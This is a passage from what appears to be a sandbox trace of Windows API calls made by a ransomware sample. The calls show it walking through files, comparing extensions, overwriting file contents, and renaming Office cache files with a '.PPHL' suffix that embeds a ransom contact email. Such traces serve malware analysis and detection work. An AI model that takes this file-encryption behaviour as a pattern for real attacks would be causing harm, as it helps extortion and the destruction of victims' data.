dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0079.345] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0079.345] ReadFile (in: hFile=0x1fc, lpBuffer=0x3d60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d60058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.438] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.438] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x351fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0079.455] SetEndOfFile (hFile=0x1fc) returned 1 [0079.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x4023fc8 [0079.609] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0079.609] WriteFile (in: hFile=0x1fc, lpBuffer=0x4023fc8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x4023fc8*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.610] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0079.610] WriteFile (in: hFile=0x1fc, lpBuffer=0x4023fc8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x4023fc8*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.611] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0079.611] WriteFile (in: hFile=0x1fc, lpBuffer=0x4023fc8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x4023fc8*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x4023fc8 | out: hHeap=0x5d0000) returned 1 [0079.613] CloseHandle (hObject=0x1fc) returned 1 [0079.613] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0079.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0079.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0079.614] lstrlenW (lpString=".doc") returned 4 [0079.614] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0079.614] lstrlenW (lpString=".docx") returned 5 [0079.614] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0079.614] lstrlenW (lpString=".pdf") returned 4 [0079.614] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0079.614] lstrlenW (lpString=".xls") returned 4 [0079.614] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0079.614] lstrlenW (lpString=".xlsx") returned 5 [0079.614] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0079.614] lstrlenW (lpString=".ppt") returned 4 [0079.614] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0079.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0079.614] lstrlenW (lpString=".zip") returned 4 [0079.614] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0079.614] lstrlenW (lpString=".rar") returned 4 [0079.614] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0079.614] lstrlenW (lpString=".bz2") returned 4 [0079.614] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0079.614] lstrlenW (lpString=".7z") returned 3 [0079.614] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0079.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0079.614] lstrlenW (lpString=".dbf") returned 4 [0079.614] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0079.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0079.614] lstrlenW (lpString=".1cd") returned 4 [0079.614] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0079.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0079.614] lstrlenW (lpString=".jpg") returned 4 [0079.614] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0079.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0079.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0079.614] lstrlenW (lpString=".doc") returned 4 [0079.614] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0079.614] lstrlenW (lpString=".docx") returned 5 [0079.615] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0079.615] lstrlenW (lpString=".pdf") returned 4 [0079.615] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0079.615] lstrlenW (lpString=".xls") returned 4 [0079.615] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0079.615] lstrlenW (lpString=".xlsx") returned 5 [0079.615] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0079.615] lstrlenW (lpString=".ppt") returned 4 [0079.615] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0079.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0079.615] lstrlenW (lpString=".zip") returned 4 [0079.615] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0079.615] lstrlenW (lpString=".rar") returned 4 [0079.615] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0079.615] lstrlenW (lpString=".bz2") returned 4 [0079.615] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0079.615] lstrlenW (lpString=".7z") returned 3 [0079.615] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0079.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0079.615] lstrlenW (lpString=".dbf") returned 4 [0079.615] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0079.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0079.615] lstrlenW (lpString=".1cd") returned 4 [0079.615] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0079.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0079.615] lstrlenW (lpString=".jpg") returned 4 [0079.615] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0079.615] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0079.615] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0079.615] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0079.617] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=36233052) returned 1 [0079.617] CloseHandle (hObject=0x1fc) returned 1 [0079.617] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0079.617] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0079.618] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0079.618] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0079.618] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0x0) returned 1 [0079.618] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0079.618] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.636] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0079.636] ReadFile (in: hFile=0x1fc, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.669] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0079.669] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0079.669] ReadFile (in: hFile=0x1fc, lpBuffer=0x3d60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d60058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.686] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.686] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x351fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0080.091] SetEndOfFile (hFile=0x1fc) Thread: id = 18 os_tid = 0x754 [0059.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x38202b0 [0059.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x38302b8 [0059.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6702f8 [0059.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x624128 [0059.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670310 [0059.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x3df0020 [0059.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670328 [0059.783] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x670328, Size=0x20) returned 0x626780 [0059.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670328 [0059.783] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x670328, Size=0x20) returned 0x6267d0 [0059.783] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0059.783] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0059.783] Wow64DisableWow64FsRedirection (in: OldValue=0x376ff58 | out: OldValue=0x376ff58*=0x0) returned 1 [0059.783] lstrlenW (lpString="kernel32.dll") returned 12 [0059.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x626780 | out: hHeap=0x5d0000) returned 1 [0059.783] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6267d0 | out: hHeap=0x5d0000) returned 1 [0059.783] Sleep (dwMilliseconds=0x64) [0060.189] lstrlenW (lpString="BCD") returned 3 [0060.189] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.189] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0060.189] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0060.189] lstrlenW (lpString=".doc") returned 4 [0060.189] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0060.189] lstrlenW (lpString=".docx") returned 5 [0060.189] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0060.189] lstrlenW (lpString=".pdf") returned 4 [0060.189] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0060.189] lstrlenW (lpString=".xls") returned 4 [0060.189] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0060.189] lstrlenW (lpString=".xlsx") returned 5 [0060.189] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0060.189] lstrlenW (lpString=".ppt") returned 4 [0060.190] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0060.190] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0060.190] lstrlenW (lpString=".zip") returned 4 [0060.190] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0060.190] lstrlenW (lpString=".rar") returned 4 [0060.190] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0060.190] lstrlenW (lpString=".bz2") returned 4 [0060.190] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0060.190] lstrlenW (lpString=".7z") returned 3 [0060.190] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0060.190] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0060.190] lstrlenW (lpString=".dbf") returned 4 [0060.190] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0060.190] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0060.190] lstrlenW (lpString=".1cd") returned 4 [0060.190] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0060.190] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0060.190] lstrlenW (lpString=".jpg") returned 4 [0060.190] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0060.190] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0060.190] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0060.190] lstrlenW (lpString=".doc") returned 4 [0060.190] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0060.190] lstrlenW (lpString=".docx") returned 5 [0060.190] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0060.190] lstrlenW (lpString=".pdf") returned 4 [0060.190] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0060.190] lstrlenW (lpString=".xls") returned 4 [0060.190] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0060.190] lstrlenW (lpString=".xlsx") returned 5 [0060.190] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0060.190] lstrlenW (lpString=".ppt") returned 4 [0060.190] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0060.190] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0060.190] lstrlenW (lpString=".zip") returned 4 [0060.190] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0060.191] lstrlenW (lpString=".rar") returned 4 [0060.191] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0060.191] lstrlenW (lpString=".bz2") returned 4 [0060.191] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0060.191] lstrlenW (lpString=".7z") returned 3 [0060.191] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0060.191] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0060.191] lstrlenW (lpString=".dbf") returned 4 [0060.191] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0060.191] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0060.191] lstrlenW (lpString=".1cd") returned 4 [0060.191] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0060.191] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0060.191] lstrlenW (lpString=".jpg") returned 4 [0060.191] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0060.191] lstrcmpiW (lpString1=".LOG1", lpString2=".PPHL") returned -1 [0060.191] lstrlenW (lpString="BCD.LOG1") returned 8 [0060.191] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.192] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=0) returned 1 [0060.192] CloseHandle (hObject=0x194) returned 1 [0060.192] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.192] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.192] lstrlenW (lpString=".doc") returned 4 [0060.192] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0060.192] lstrlenW (lpString=".docx") returned 5 [0060.192] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0060.192] lstrlenW (lpString=".pdf") returned 4 [0060.192] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0060.192] lstrlenW (lpString=".xls") returned 4 [0060.192] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0060.192] lstrlenW (lpString=".xlsx") returned 5 [0060.192] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0060.192] lstrlenW (lpString=".ppt") returned 4 [0060.192] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0060.192] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.192] lstrlenW (lpString=".zip") returned 4 [0060.192] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0060.192] lstrlenW (lpString=".rar") returned 4 [0060.192] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0060.192] lstrlenW (lpString=".bz2") returned 4 [0060.192] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0060.192] lstrlenW (lpString=".7z") returned 3 [0060.192] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0060.192] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.192] lstrlenW (lpString=".dbf") returned 4 [0060.192] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0060.192] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.193] lstrlenW (lpString=".1cd") returned 4 [0060.193] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0060.193] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.193] lstrlenW (lpString=".jpg") returned 4 [0060.193] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0060.193] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.193] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.193] lstrlenW (lpString=".doc") returned 4 [0060.193] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0060.193] lstrlenW (lpString=".docx") returned 5 [0060.193] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0060.193] lstrlenW (lpString=".pdf") returned 4 [0060.193] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0060.193] lstrlenW (lpString=".xls") returned 4 [0060.193] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0060.193] lstrlenW (lpString=".xlsx") returned 5 [0060.193] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0060.193] lstrlenW (lpString=".ppt") returned 4 [0060.193] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0060.193] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.193] lstrlenW (lpString=".zip") returned 4 [0060.193] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0060.193] lstrlenW (lpString=".rar") returned 4 [0060.193] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0060.193] lstrlenW (lpString=".bz2") returned 4 [0060.193] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0060.193] lstrlenW (lpString=".7z") returned 3 [0060.193] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0060.193] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.193] lstrlenW (lpString=".dbf") returned 4 [0060.193] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0060.194] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.194] lstrlenW (lpString=".1cd") returned 4 [0060.194] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0060.194] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.194] lstrlenW (lpString=".jpg") returned 4 [0060.194] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0060.194] lstrcmpiW (lpString1=".LOG2", lpString2=".PPHL") returned -1 [0060.194] lstrlenW (lpString="BCD.LOG2") returned 8 [0060.194] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.194] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=0) returned 1 [0060.194] CloseHandle (hObject=0x194) returned 1 [0060.194] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0060.194] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0060.194] lstrlenW (lpString=".doc") returned 4 [0060.194] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0060.194] lstrlenW (lpString=".docx") returned 5 [0060.194] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0060.194] lstrlenW (lpString=".pdf") returned 4 [0060.194] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0060.194] lstrlenW (lpString=".xls") returned 4 [0060.194] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0060.194] lstrlenW (lpString=".xlsx") returned 5 [0060.194] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0060.195] lstrlenW (lpString=".ppt") returned 4 [0060.195] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0060.195] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0060.195] lstrlenW (lpString=".zip") returned 4 [0060.195] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0060.195] lstrlenW (lpString=".rar") returned 4 [0060.195] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0060.195] lstrlenW (lpString=".bz2") returned 4 [0060.195] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0060.195] lstrlenW (lpString=".7z") returned 3 [0060.195] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0060.195] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0060.195] lstrlenW (lpString=".dbf") returned 4 [0060.195] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0060.195] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0060.195] lstrlenW (lpString=".1cd") returned 4 [0060.195] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0060.195] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0060.195] lstrlenW (lpString=".jpg") returned 4 [0060.195] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0060.195] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0060.195] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0060.195] lstrlenW (lpString=".doc") returned 4 [0060.195] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0060.195] lstrlenW (lpString=".docx") returned 5 [0060.195] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0060.195] lstrlenW (lpString=".pdf") returned 4 [0060.195] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0060.195] lstrlenW (lpString=".xls") returned 4 [0060.195] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0060.195] lstrlenW (lpString=".xlsx") returned 5 [0060.195] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0060.195] lstrlenW (lpString=".ppt") returned 4 [0060.195] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0060.196] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0060.196] lstrlenW (lpString=".zip") returned 4 [0060.196] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0060.196] lstrlenW (lpString=".rar") returned 4 [0060.196] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0060.196] lstrlenW (lpString=".bz2") returned 4 [0060.196] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0060.196] lstrlenW (lpString=".7z") returned 3 [0060.196] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0060.196] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0060.196] lstrlenW (lpString=".dbf") returned 4 [0060.196] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0060.196] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0060.196] lstrlenW (lpString=".1cd") returned 4 [0060.196] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0060.196] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") 